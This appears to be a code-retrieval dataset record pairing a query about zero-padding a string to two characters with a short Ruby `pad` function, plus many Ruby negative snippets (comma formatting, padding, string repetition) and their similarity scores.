"def numberFormat( number, separator = ',', decimal_point = nil, prec=2 )\n prefix='';\n if( number < 0 )then\n number *= -1.0;\n prefix = '-';\n end\n if( (decimal_point == nil) or (prec == 0)) then\n num_parts = [ number.to_i.to_s ];\n else\n num_parts = sprintf( \"%0.#{prec}f\", number ).split('.')\n end\n x = num_parts[0].reverse.scan(/.{1,3}/).join(separator).reverse \n x << decimal_point + num_parts[1] if num_parts.length == 2 \n return prefix+x \nend",
"def separate_comma(number)\n number = number.to_s\n number = number.split('').reverse!\n array_of_ints = number.each_slice(3).to_a\n array_of_ints.each do |num|\n if num.length == 3\n num.push(',')\n end\n end\n answer = array_of_ints.flatten!.reverse!.join()\n if answer[0] == ','\n answer[0] = ''\n return answer\n end\n return answer\nend",
"def separate_comma(integer)\n index = 1\n output_string = (\"\")\n integer.to_s.reverse.each_char do |character|\n if index <= 2\n index += 1\n output_string += character\n else\n index = 1\n output_string += character + (\",\")\n end\n end\n output_string.chomp!(\",\")\n return output_string.reverse\nend",
"def separate_comma(num)\n\tnum = num.to_s\n\tif num.length < 4\n\t\treturn num\n\telse\n\t\tnum = num.reverse.gsub(/(.{3})/, '\\1,').reverse\n\t\tif num[0] == \",\"\n\t\t\tnum[0] = \"\"\n\t\tend\n\t\treturn num\n\tend\nend",
"def separate_comma(num)\n\tnum_string = num.to_s\n\ti = num_string.length\n\t# puts i\n\t# puts num_string\n\treturn num_string if i <= 3\n\twhile i > 0 do #i=5\n\t\t\tnum_string.insert((0-(i+1)),\",\") if i % 3 == 0\n\t\t\tnum_string.delete num_string[0] if num.to_s.length == 6\n\t\t\ti-=1\n\tend\n\tnum_string.slice!(0) if num_string[0].include? \",\"\n\t# puts num_string\n\tnum_string\nend",
"def separate_comma(num)\n num_as_array = num.to_s.split(\"\").reverse\n curr_index = 0\n until (curr_index + 3) >= (num_as_array.length)\n curr_index += 3\n num_as_array[curr_index] = \",\" + num_as_array[curr_index]\n end\n num_as_array.join(\"\").reverse\nend",
"def separate_comma(number)\n reversed_array = number.to_i.to_s.split(\"\").reverse\n commaized = []\n\n current_digit = 0\n while current_digit < reversed_array.length\n commaized.unshift(reversed_array[current_digit])\n\n if ((current_digit + 1) % 3 == 0) && (reversed_array[current_digit + 1] != nil)\n commaized.unshift(\",\")\n end\n\n current_digit += 1\n end\n\n return commaized.join\nend",
"def add_commas_to_integer(integer)\n reversed_digits = integer.to_s.chars.map(&:to_i).reverse\n reversed_digits.each_slice(3).map { |sl| sl.join }.join(',').reverse\nend",
"def separate_comma(integer)\n\tarr_int = integer.to_s.split(\"\").reverse.each_slice(3).to_a\n\tcommas = [\",\"] * integer.to_s.length\n\tanswer = arr_int.zip(commas).flatten.reverse.join\n\tif answer.start_with?(\",\")\n\t\tanswer[0] = \"\"\n\t\treturn answer\n\telse answer\n\tend\nend",
"def separate_comma(num_to_comma)\n str = num_to_comma.to_s\n count = str.length\n if count < 4\n p str\n elsif (count - 1) % 3 == 0\n while count > 1 do\n count = count - 3\n str.insert(count, \",\")\n end\n elsif (count - 2) % 3 == 0\n while count > 2 do\n count = count - 3\n str.insert(count, \",\")\n end\n elsif (count - 3) % 3 == 0\n while count > 3 do\n count = count - 3\n str.insert(count, \",\")\n end\n end\n p str\nend",
"def separate_comma(num)\n num_array = num.to_s.reverse.split()\n num_array.each_with_index do |item, index|\n if (index+1)%4==0\n num_array.insert(index,\",\")\n end\n end\n return num_array.reverse.join\nend"
] |
[
"0.7326732",
"0.72563124",
"0.7165631",
"0.69503784",
"0.6702533",
"0.6702533",
"0.65833974",
"0.65534914",
"0.65467596",
"0.65204567",
"0.63578504",
"0.6355236",
"0.62852895",
"0.6274327",
"0.62351584",
"0.6188494",
"0.6182683",
"0.6159662",
"0.61479753",
"0.6138624",
"0.6136139",
"0.6122869",
"0.61079544",
"0.61001843",
"0.6075996",
"0.60707814",
"0.6067463",
"0.6062272",
"0.6034094",
"0.60235125",
"0.60172623",
"0.60020715",
"0.5993464",
"0.5993008",
"0.5982339",
"0.59771705",
"0.5967877",
"0.59578204",
"0.5952014",
"0.59482235",
"0.59340423",
"0.59293735",
"0.5928299",
"0.5921381",
"0.5911584",
"0.590598",
"0.58993596",
"0.58983135",
"0.58896387",
"0.58873546",
"0.588261",
"0.5868607",
"0.58558816",
"0.58554834",
"0.5846972",
"0.5845663",
"0.5845663",
"0.5833254",
"0.582532",
"0.58220685",
"0.58091015",
"0.5809008",
"0.57989496",
"0.57899547",
"0.5787606",
"0.57835513",
"0.5783481",
"0.57799274",
"0.5772573",
"0.57676744",
"0.57673955",
"0.57666045",
"0.57616156",
"0.57559144",
"0.57445437",
"0.57424384",
"0.5740096",
"0.573636",
"0.5734472",
"0.572296",
"0.57181036",
"0.57145834",
"0.57129115",
"0.5699695",
"0.56962615",
"0.568959",
"0.5685847",
"0.56852823",
"0.5662145",
"0.56543493",
"0.56489444",
"0.56468564",
"0.56391317",
"0.56211454",
"0.56166965",
"0.5615897",
"0.5615491",
"0.5611237",
"0.56106126",
"0.56015027"
] |
0.79559654
|
0
|
Pad a string with '0' to ensure it has two characters. If a string of 2 or more characters is used as parameter, will not alter the string. Example: pad('1') => "01" Params: +s+ The string to pad. Returns: A string of at least 2 characters
|
def pad(s)
s.rjust(2, '0')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pad(s)\n s.to_s.rjust(3,\"0\")\nend",
"def pad_string(s)\n # s = s[0..80]\n b = s.bytes\n b << 0\n b << 0 while b.size % 4 > 0\n b.pack(\"c*\")\n end",
"def pad(p=0, s=0, c=0, from=g_from_direction)\n prefix(p, c, from) unless p.zero?\n suffix(s, c, from) unless s.zero?\n end",
"def lzpad(str, length)\n until str.length == length\n str = '0' + str\n end\n str\n end",
"def pad(val, number_of_places)\n str = val.to_s\n while(str.length < number_of_places) do\n str = '0' + str\n end\n str\n end",
"def right_padding( s )\n s =~ %r{n+$}\n ret = $&\n ret ? ret : '' # Don't pass nil values\n end",
"def left_pad_with_zero(number)\n if (number.to_s.length == 1)\n \"0#{number}\"\n else\n number\n end\nend",
"def pad number\n \t\tif number.to_s.length >= 2\n \t\t\treturn number.to_s\n \t\telse\n \t\t\treturn \"0\" + number.to_s\n \t\tend\n \tend",
"def padded(n)\n output = ''\n if (n < 10)\n output = '0' + n.to_s\n else\n output = n.to_s\n end\n output\n end",
"def pad(key, len)\n key ? key.to_s.rjust(len, '0') : nil\n end",
"def pad(n_str, amount)\n l = n_str.length\n pad_length = amount - l\n if pad_length >= 0\n zeros = \"0\" * pad_length\n \"#{zeros}#{n_str}\"\n else\n \"#{n_str}\"\n end\n end",
"def prepad_zeros(length)\n str = self\n str.insert(0, '0') while str.length < length\n str\n end",
"def pad_with_limit(s, limit)\n b = s[0..(limit - 2)].bytes\n b << 0 while b.size < limit\n b.pack(\"c*\")\n end",
"def left_padding( s )\n s =~ %r{^n+}\n ret = $&\n ret ? ret : '' # Don't pass nil values\n end",
"def stringy(len)\n str = ''\n len.times do |n|\n n.even? ? str << '1' : str << '0'\n end\n str\nend",
"def pad(v, l, c = '0')\n v.rjust(l, c) if v.present? && v.class == String && v.downcase != 'none'\n end",
"def padded(num) \n\t\tif num.to_s.length <2\n\t\t\treturn '0'+num.to_s\n\t\telse\n\t\t\treturn num.to_s\n\t\tend\n\tend",
"def sox_pad(paddings)\n if paddings\n lpad, rpad = paddings\n if lpad > 0 || rpad > 0\n lpad, rpad = lpad.round(2).to_s.shellescape, rpad.round(2).to_s.shellescape\n \"pad #{lpad} #{rpad}\"\n end\n end\n end",
"def ensurezero(prefix)\n prefix < 10 ? prefix.to_s.rjust(2, \"0\") : prefix\n end",
"def pad_string(str)\n str.scan(/..../).reverse.join.dup.insert(0,'*****').insert(9,'*').insert(18,'*').insert(27,'*').insert(36,'*').insert(41,'*****')\n end",
"def padded(number)\n padded = number.to_s\n padded.rjust(2,'0')\n end",
"def padded(seconds)\n\t\treturn \"0#{seconds.to_s}\" if seconds < 10\n\t\tseconds.to_s\n\tend",
"def rjust(p0, padstr=\"\") end",
"def padding(num)\n num >= 10? num.to_s : \"0\" + num.to_s\n end",
"def pad(value)\r\n return value unless @padding == :zero\r\n matcher = @alignment == :right ? /^ +/ : / +$/\r\n space = value.match(matcher)\r\n return value unless space\r\n value.gsub(space[0], '0' * space[0].size)\r\n end",
"def stringy(length)\n count = 0\n stringy_string = ''\n while count < length\n if count % 2 == 0\n stringy_string << '1'\n else\n stringy_string << '0'\n end\n count += 1\n end\n stringy_string\nend",
"def padded(time)\n\t\treturn time.to_s.prepend('0') unless time > 9\n\t\ttime.to_s\n\tend",
"def pad!(str_length=nil)\n @value = pad(str_length)\n end",
"def zeropad(arg)\n # make sure it is a string\n arg = arg.to_s\n arg = '0'+arg if arg.length < 2\n return arg\nend",
"def pad n, pad_with = nil\n fill pad_with, length, n - length\n end",
"def stringy(length)\n string = ''\n length.times do |index|\n number_str = index.even? ? '1' : '0'\n string << number_str\n end\n string\nend",
"def pad(string, length, align=:left)\n\t\t\tif string == nil\n\t\t\t\treturn ' ' * length\n\t\t\telsif string.length >= length\n\t\t\t\treturn string\n\t\t\telse\n\t\t\t\tdifference = (length - string.length).to_f\n\t\t\t\tcase align\n\t\t\t\twhen :left\n\t\t\t\t\treturn string + ' ' * difference\n\t\t\t\twhen :right\n\t\t\t\t\treturn ' ' * difference + string\n\t\t\t\twhen :center\n\t\t\t\t\treturn ' '*(difference/2).floor + string + ' '*(difference/2).ceil\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def padded(num)\n\tif num <= 0\n\t\t\"00\" \n\telsif num < 10\n\t\t\"0\" + num.to_s\n\telse \n\t\tnum.to_s\n\tend\nend",
"def pad\n 26 ** 3 # insure at least four digits\n end",
"def zerofill2(n)\n n.to_s.rjust(2, '0')\n end",
"def ljust(p0, padstr=\"\") end",
"def PadNum( number )\n\tnum = number.to_s\n\n\tif ( num.size < 5 )\n\t\t( \"0\" * ( 5 - num.size ) ) + num\n\telse\n\t\tnum\n\tend\nend",
"def stringy(size)\n string = \"10\" * (size.to_f/2).round\n if size.even?\n puts string\n else\n puts string.chomp(\"0\")\n end\nend",
"def stringy2(int, *zero)\n str = ''\n if zero == [0] then str += '0' else str += '1' end\n int.times do |n|\n if n > 0\n array = str.chars\n if array[n - 1] == '0' then str += '1' else str += '0' end\n end\n end\n p str\nend",
"def pad(message)\n message.gsub(/^$/, \" \")\n end",
"def stringy2(length, start_with = 1)\n string = ''\n length.times do |index|\n index += 1 if start_with == 0\n number_str = index.even? ? '1' : '0'\n string << number_str\n end\n string\nend",
"def stringy(size)\n i, string = 0, \"\"\n while i < size do\n string[-1] == \"1\" ? string << \"0\" : string << \"1\"\n i += 1\n end\n return string\nend",
"def padding(n, c = \"\\0\")\n m = n % 4\n c * (m == 0 ? 0 : 4 - m)\n end",
"def stringy(num)\n str = ''\n num.times do |indx|\n indx % 2 == 0 ? str += '1' : str += '0'\n end\n return str\nend",
"def stringy(int)\n new_string = \"\"\n (int / 2).times { new_string << \"10\" }\n new_string << \"1\" if int.odd? \n new_string\nend",
"def stringy(int)\n string = \"\"\n int.times do |x|\n x.even? ? string += \"1\" : string += \"0\"\n end\n string\nend",
"def number_to_string_with_zero(number, characters_count = 2 )\n num_str = number.to_s\n\n if num_str.length < characters_count\n num_str = '0'*(characters_count - num_str.length ) + num_str\n end\n\n num_str\n end",
"def stringy(num, option = 1)\n str = ''\n first_char = option.to_s\n second_char = (option == 1 ? '0' : '1')\n num.times { |ndx| str << (ndx.even? ? first_char : second_char) }\n str\nend",
"def pad(wire)\n wire ? ' ' * (wire.size + 1) : ' '\n end",
"def make(byte, length)\n while byte.length < length\n byte = \"0\" + byte\n end\n return byte\nend",
"def repeat_str (n, s)\r\n return s * n\r\nend",
"def repeatedString(s, n)\n s.count('a') * n.div(s.size) + s.slice(0,n.remainder(s.size)).count('a')\nend",
"def repeatedString(s, n)\n s.count('a') * (n / s.size) + s[0, n % s.size].count('a')\nend",
"def repeat_str(n, s)\n return s * n\nend",
"def stringy_hightech(num, zero_start=1)\n half, remainder = num.divmod 2\n\n case zero_start\n when 0 then '01' * half + '0' * remainder\n when 1 then '10' * half + '1' * remainder\n end\nend",
"def stringy(number)\n string = \"\"\n number.times do |n|\n n.even? ? string << \"1\" : string << \"0\"\n end\n string\nend",
"def stringy(num, b = 1)\n string = ''\n if b = 0\n num.times { |v| v.odd? ? string.concat('1') : string.concat('0') }\n return string\n else \n num.times { |v| v.odd? ? string.concat('0') : string.concat('1') }\n return string\n end \nend",
"def repeat_str (n, s)\n s * n\nend",
"def repeat_str (n, s)\n s * n\nend",
"def pad_number(n)\n n.to_s.rjust(self.field_width, ' ')\n end",
"def test_unpad_20\n assert_equal(\"leet\",\n Zweifische::ZeroPadding\n .unpad(\"leet\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"))\n end",
"def leading_zeroes(max_num_length)\n 101.times do |i|\n num_of_zeroes = max_num_length - i.digits.length\n puts \"0\" * num_of_zeroes + i.to_s\n end\nend",
"def strip_padding( s )\n if s[0].chr == 'n'\n s =~ %r{(n+)(.+)}\n s = $2\n end\n if s[-1].chr == 'n'\n s =~ %r{(.+?)(n+)$}\n s = $1\n end\n s\n end",
"def zero_pad(new_hour, new_mins)\n if (new_mins / 10).zero?\n \"#{new_hour}:0#{new_mins}\"\n elsif (new_hour / 10).zero?\n \"0#{new_hour}:#{new_mins}\"\n else\n \"#{new_hour}:#{new_mins}\"\n end\n end",
"def leading_zero_number(digits: 10)\n \"0#{(2..digits).collect { digit }.join}\"\n end",
"def pad(str_length=nil)\n new_arr = []\n @value.each_with_index do |string, i|\n string = string.dup # to avoid changing the original\n if str_length.nil? then\n # pad if the string is odd or use the size property if there is a\n # predefined size\n if @record and (size=RECORD_INFO[@record.type].size) > 0 then\n new_arr.push [string].pack(\"a#{size}\")\n elsif (len=string.length)%2 == 1 then\n new_arr.push [string].pack(\"a#{len+1}\")\n else\n new_arr.push string\n end\n else\n # A desired string length was given; ensure that the requested\n # length is a multiple of 2 and is not less than the string given.\n if str_length%2 == 1 then\n raise ArgumentError,\n \"Desired string length must be a multiple of 2\"\n elsif str_length < string.length then\n raise ArgumentError,\n \"Desired string length given #{str_length} is less than actual string length #{string.length}\"\n else\n new_arr.push [string].pack(\"a#{str_length}\")\n end \n end\n end\n new_arr\n end",
"def initialize(pad=' ')\n @pad_char = pad\n end",
"def repeater(str)\n new_str = ''\n return new_str if str.eql?('')\n str.chars.each do|char|\n new_str << char * 2\n end\n new_str\nend",
"def stringy(number)\n result = ''\n number.times do |idx|\n result << (idx.even? ? '1' : '0')\n end\n result\nend",
"def stringy(number)\n result = ''\n number.times {|i| i.even? ? result << '1' : result << '0'}\n result\nend",
"def fixed_string(string, fixedSize)\n len = string.length\n res = \"\"\n (fixedSize - len).downto(1) do\n res = res + \" \"\n end\n res = res + string\n res \n end",
"def repeat_str n, s\n s * n\nend",
"def stringy(int)\n str = ''\n int.times { |i| str += ((i + 1) % 2).to_s }\n str\nend",
"def repeatedString(s, n)\n len = s.length\n times = n / len\n nb = times * s.count('a')\n\n last = s[0..(n % len)]\n nb += last.count('a') if len != 1\n nb\nend",
"def repeat_str (n, s)\n s*n\nend",
"def test_pad_16\n assert_raises(ArgumentError) { Zweifische::ZeroPadding.pad(16) }\n end",
"def stringy(num)\n string = '10' * (num/2)\n num.even? ? string : string + '1'\nend",
"def zero_insert(n)\n result = ''\n index, n = 0, n.to_s\n while index < n.length - 1\n a, b = n[index].to_i, n[index + 1].to_i\n result += a.to_s\n result += '0' if a == b || (a + b) % 10 == 0\n index += 1\n end\n result += n[index]\n result\nend",
"def repeatedString(s, n)\n count = s.count(\"a\")\n rep = (n / s.length)\n if n % s.length != 0\n short_s = s.slice(0, n % s.length)\n return (count * rep) + short_s.count(\"a\")\n else\n return (count * rep)\n end\n \nend",
"def repeater(string)\n doubled_str = ''\n string.size.times do |i|\n doubled_str << string[i] * 2\n end\n doubled_str\nend",
"def repeater(string)\r\n new_string = \"\"\r\n string.each_char { |char| new_string << char*2 }\r\n new_string\r\nend",
"def repeater(string)\n string.chars.map! { |char| char * 2 }.join('')\nend",
"def repeatedString(s, n)\n num_a = s.count(\"a\")\n if num_a == 0\n return 0\n end\n slen = s.length\n total = num_a*(n/slen)\n total += s[0...n%slen].count(\"a\")\nend",
"def pincrement_string(str)\n chars = str.chars\n last = chars[-1]\n if last == last.to_i.to_s\n last = (last.to_i + 1).to_s\n end\n chars\nend",
"def pad(depth = 0)\n \" \" * depth\n end",
"def repeat_str (n, s)\n string = ''\n n.times do\n string << s\n end\n return string\nend",
"def repeat(str, n = 2)\n ((str + ' ') * n).strip\nend",
"def format_time(time)\n format('%02d', time)\nend",
"def stringy(size, digit = 1)\n words = []\n size.times do\n words << digit\n digit = digit == 1 ? 0 : 1\n end\n words.join\nend",
"def stringy(length, reverse = 1)\n counter = 1 \n return_string = ''\n while counter <= length\n if counter % 2 == 0\n return_string << '0'\n else\n return_string << '1'\n end\n counter += 1\n end\n\n reverse == 1 ? return_string : return_string.reverse\nend",
"def short_long_short(s, s_2)\n s.length > s_2.length ? s_2 + s + s_2 : s + s_2 + s\nend",
"def pad(value)\n Value.new(value.bin.rjust(@N.bin.length, \"\\x00\"))\n end",
"def pad_rtnumber rtnumber\n if rtnumber =~ /[A-Z]/\n \"0#{rtnumber}\"\n else\n rtnumber\n end\n end",
"def double_digit(num)\n if num.to_s.length < 2\n \"0\" + num.to_s\n else\n num.to_s\n end\n end",
"def stringy(num, start=1)\n string = '10' * (num/2)\n if start == 1\n num.even? ? string : string + '1'\n else\n num.even? ? string.reverse : string.reverse + '0'\n end\nend",
"def stringy(num)\n str = ''\n 1.upto(num) do |index|\n if index.odd?\n str << '1'\n else\n str << '0'\n end\n end\n str\nend",
"def stringy(integer, optional = 1)\n return_string = ''\n if optional == 1\n integer.times { |idx| idx.even? ? return_string << '1' : return_string << '0' }\n elsif optional == 0\n integer.times { |idx| idx.even? ? return_string << '0' : return_string << '1' }\n end\n return_string\nend",
"def repeater(string)\n new_str = ''\n\n string.chars.each { |x| new_str << x * 2 }\n new_str\nend",
"def repeater(string)\n doubled = ''\n count = 0\n\n until count == string.length\n doubled << string[count] * 2\n count += 1\n end\n doubled\nend",
"def pad_length(len, width)\n\tif len % width == 0\n\t\treturn 0\n\tend\n\treturn (width - (len % width))\nend"
] |
[
"0.73824114",
"0.67277753",
"0.65294373",
"0.6359395",
"0.63288176",
"0.62704307",
"0.6252459",
"0.62415195",
"0.6169826",
"0.6131705",
"0.61214495",
"0.61131394",
"0.6092477",
"0.6088558",
"0.60070175",
"0.5998051",
"0.5961358",
"0.59270835",
"0.5920687",
"0.59139615",
"0.5891541",
"0.5876521",
"0.5856633",
"0.58517534",
"0.58462405",
"0.5782035",
"0.5766187",
"0.5765684",
"0.5742569",
"0.573536",
"0.5698099",
"0.5684949",
"0.5664637",
"0.56521314",
"0.5646675",
"0.5609125",
"0.56047237",
"0.55991244",
"0.55375826",
"0.5520444",
"0.5483359",
"0.54340726",
"0.5370777",
"0.5340646",
"0.53191096",
"0.5309292",
"0.53074306",
"0.5294498",
"0.5258504",
"0.52414197",
"0.52318394",
"0.5206181",
"0.518624",
"0.5179014",
"0.5172474",
"0.5169289",
"0.5165017",
"0.51605165",
"0.51605165",
"0.515611",
"0.5141438",
"0.5138972",
"0.51381725",
"0.5132835",
"0.5131942",
"0.5130787",
"0.51279664",
"0.51246536",
"0.5107066",
"0.50994384",
"0.50901866",
"0.508961",
"0.50870234",
"0.5084789",
"0.50587",
"0.5052184",
"0.5047988",
"0.5039633",
"0.50352705",
"0.5033817",
"0.5032818",
"0.5022716",
"0.50086683",
"0.50081193",
"0.49979296",
"0.4991964",
"0.49910766",
"0.49818754",
"0.49801952",
"0.49797755",
"0.49684858",
"0.49661463",
"0.4965451",
"0.496278",
"0.4960883",
"0.4957509",
"0.4954875",
"0.4948693",
"0.4939137",
"0.49178135"
] |
0.80405915
|
0
|
Carry out static testing on the code below. Read through the code. Comment any errors you can see without correcting them. def func1 val if val = 1 should be == return true else return false end end dif max a b should be def, not dif : should be a , between parameters if a > b return a else b end end end one too many ends def looper for i in 1..10 puts i end end failures = 0 if looper == 10 puts "looper passed" else puts "looper failed" failures = failures + 1 end if func1(3) == false puts "func1(3) passed" else puts "func1(3) failed" failures = failures + 1 end if max(100,1) == 100 puts "max(100,1) passed" else puts "func1(3) failed" failrues = failures + 1 end if failures puts "Test Failed" else puts "Test Passed" end Testing task 1 code: Carry out static testing on the code below. Read through the code. Comment any errors you can see without correcting them.
|
def func1 val
if val = 1 #should be ==
return true #needs an indent
else
return false#needs an indent
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test\n\n puts \"Performing test tasks:\"\n\n puts \"Test 1 \" + (generate_intcode([1, 0, 0, 0, 99]) === [2, 0, 0, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 2 \" + (generate_intcode([2, 3, 0, 3, 99]) === [2, 3, 0, 6, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 3 \" + (generate_intcode([2, 4, 4, 5, 99, 0]) === [2, 4, 4, 5, 99, 9801] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 4 \" + (generate_intcode([1, 1, 1, 4, 99, 5, 6, 0, 99]) === [30, 1, 1, 4, 2, 5, 6, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n\nend",
"def run_tests\n check_solution(1, (100..200).to_a, 135, 35)\n check_solution(2, [13, 19, 24, 29, 32, 37, 43], 35, -1)\nend",
"def run_tests\n check_solution(1, [6, 29, 18, 2, 72, 19, 18, 10, 37], 18, 2)\n check_solution(2, [6, 29, 18, 2, 72, 19, 18, 10, 37], 9, -1)\nend",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def run_tests()\n check_solution(1, [1, 3, 5, 4], [5])\n check_solution(2, [4, 2, 3, 6, 10], [4, 10])\n check_solution(3, [4, 2, 11, 6, 10], [4, 11, 10])\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def test_cases; end",
"def clean_exit\n\ttasks_passed\n tests_passed = all_by_exit_status(@task_config['test_exit_status_passed'])\n tests_failed = all_by_exit_status(@task_config['test_exit_status_failed'])\n tests_skipped = all_by_exit_status(@task_config['test_exit_status_skipped'])\n testcases_total = all_testcase_in_tests\n testcases_passed = all_passing_testcase_in_tests\n verifications = all_verifications_in_tests\n verifications_passed = all_passed_verifications_in_tests\n \n @task_config.merge!({'execution_time' => @execution_time, 'tests_passed' => tests_passed, 'tests_failed' => tests_failed, 'tests_skipped' => tests_skipped, 'testcases_total' => testcases_total, 'testcases_passed' => testcases_passed, 'verifications' => verifications, 'verifications_passed' => verifications_passed})\n \n\t \n\t #Publisher.new(@task_config).publish_reports\n \n\t \n\t \n\t puts(\"\\n==> DONE\\n\\n\")\n puts(\":: [SESSION]\\n\")\n puts(\" -- reports prepared: #{@task_config['reports_dir']}\\n\")\n puts(\" -- execution time : #{@execution_time.to_s} secs\\n\")\n puts(\" -- tests executed : #{@executed_tests.to_s}\\n\")\n puts(\" -- tests passed : #{tests_passed.length.to_s}\\n\")\n puts(\" -- tests failed : #{tests_failed.length.to_s}\\n\")\n puts(\" -- tests skipped : #{tests_skipped.length.to_s}\\n\")\n puts(\" -- cases total : #{testcases_total.to_s}\\n\")\n puts(\" -- cases passed : #{testcases_passed.to_s}\\n\")\n puts(\" -- verifications : #{verifications.to_s}\\n\")\n puts(\" -- verify passed : #{verifications_passed.to_s}\\n\")\n \n if @task_config['test_retry']\n puts(\" -- tests re-tried : #{@tests_retried_counter.to_s}\\n\")\n end\n if tests_failed.length > 0 || verifications_passed != verifications\n puts(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n exit(1)\n end\n exit(0)\nend",
"def compare_tests(test_a, test_b); end",
"def compare_tests(test_a, test_b); end",
"def executeSimpleTest(iSimpleTestData)\n lMaxDays = 10\n lFirstDay = Date.new(2000, 1, 1)\n # Create a standard calendar (lMaxDays days, 1 hour per day) for each resource\n # It will be populated lated\n # map< Date, Integer >\n lCalendar = {}\n # Create the index of resources\n # map< String, Resource >\n lResourcesMap = {}\n # Create the index of tasks\n # map< String, Task >\n lTasksMap = {}\n # Create the final assignment\n # map< Task, map< Date, map< Resource, Integer > > >\n lFinalAssignment = {}\n iSimpleTestData.each do |iSimpleTaskInfo|\n lTaskName, lResourceName, lPriority, lSizing, lSuccessorNamesList, lStrFinalAssignment = iSimpleTaskInfo\n if (lStrFinalAssignment.size > lMaxDays)\n lMaxDays = lStrFinalAssignment.size\n end\n # Do we already know this resource ?\n if (!lResourcesMap.has_key?(lResourceName))\n # Create the resource\n lResource = Resource.new(lResourceName, lCalendar)\n lResourcesMap[lResourceName] = lResource\n else\n lResource = lResourcesMap[lResourceName]\n end\n lTask = Task.new(lTaskName, lPriority, lSizing, {lResource => lSizing}, [])\n lTasksMap[lTaskName] = lTask\n # Set its final assignment info\n lFinalTaskAssignment = {}\n lIdxDay = 0\n lStrFinalAssignment.each_byte do |iChar|\n if (iChar == 61) # 61 == '='\n lFinalTaskAssignment[lFirstDay + lIdxDay] = {lResource => 1}\n end\n lIdxDay += 1\n end\n lFinalAssignment[lTask] = lFinalTaskAssignment\n end\n # Create the list of tasks\n # list< Task >\n lTasksList = []\n # Now populate the successors\n iSimpleTestData.each do |iSimpleTaskInfo|\n lTaskName, lResourceName, lPriority, lSizing, lSuccessorNamesList, lStrFinalAssignment = iSimpleTaskInfo\n # Retrieve the task\n lTask = lTasksMap[lTaskName]\n # Parse each successor\n lSuccessorsList = []\n lSuccessorNamesList.each do |iSuccessorName|\n # Retrieve the successor, and add it\n lSuccessorsList << lTasksMap[iSuccessorName]\n end\n # Set the successors in the real task\n lTask.Successors = lSuccessorsList\n # Add the task to the list\n lTasksList << lTask\n end\n # Create a standard project (lMaxDays days, starting from january 1st 2000)\n lProject = Project.new(lFirstDay, lFirstDay + lMaxDays)\n # Populate the calendar of each resource\n lMaxDays.times do |iIdx|\n lCalendar[lFirstDay + iIdx] = 1\n end\n # Execute the test\n executeTest(lTasksList, lProject, lFinalAssignment)\n end",
"def test_exercise_1119\n expected_result = nil\n time_span = time_block { expected_result = calc_all_fibonacci 20 }\n verify_method :exercise_1119,\n :with => {param: 20, expect: expected_result}\n\n actual_time_span = time_block { @target.exercise_1119 20 }\n\n assert_true actual_time_span < time_span / 5\n end",
"def test_exercise_115\n verify_method :exercise_115,\n :with => [{param: [0.8, 0.8], expect: true},\n {param: [0.1, 0.1], expect: true},\n {param: [0.9, 0.9], expect: true},\n {param: [1, 1], expect: false},\n {param: [0, 0], expect: false}]\n end",
"def run_tests\n test_suite = self.task.tests.order(:order)\n testsStrings = test_suite.map do |test|\n test_string = task.fxn_name + \"(\"\n test_string + \"...\"+test.parsed_inputs.to_s + \")\"\n end\n formated_user_code = self.solution.gsub(\"\\n\", \" \")\n data = JSON.dump({user_code: formated_user_code, tests: testsStrings})\n uri = URI.parse(\"https://wci7v1nq8j.execute-api.us-west-2.amazonaws.com/v1\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = data\n response = http.request(request)\n response = JSON.parse(response.body)\n if response[\"errorMessage\"]\n message = response[\"errorMessage\"]\n if message.include?(\"timed out\")\n message = \"Task timed out after 4.00 seconds\"\n end\n return {error: true, error_message: message }\n end\n user_results = response[\"results\"]\n test_results = {log: response[\"log\"].gsub(\"\\n\", \"<br/>\"), results: {} }\n test_suite.each_with_index do |test, idx|\n result = user_results[idx]\n passed = result == test.output\n test_result = {\n passed: passed,\n expected: test.output.to_s,\n received: result.to_s\n }\n test_results[:results][test.order] = test_result\n end\n handle_completion(test_results[:results])\n test_results\n end",
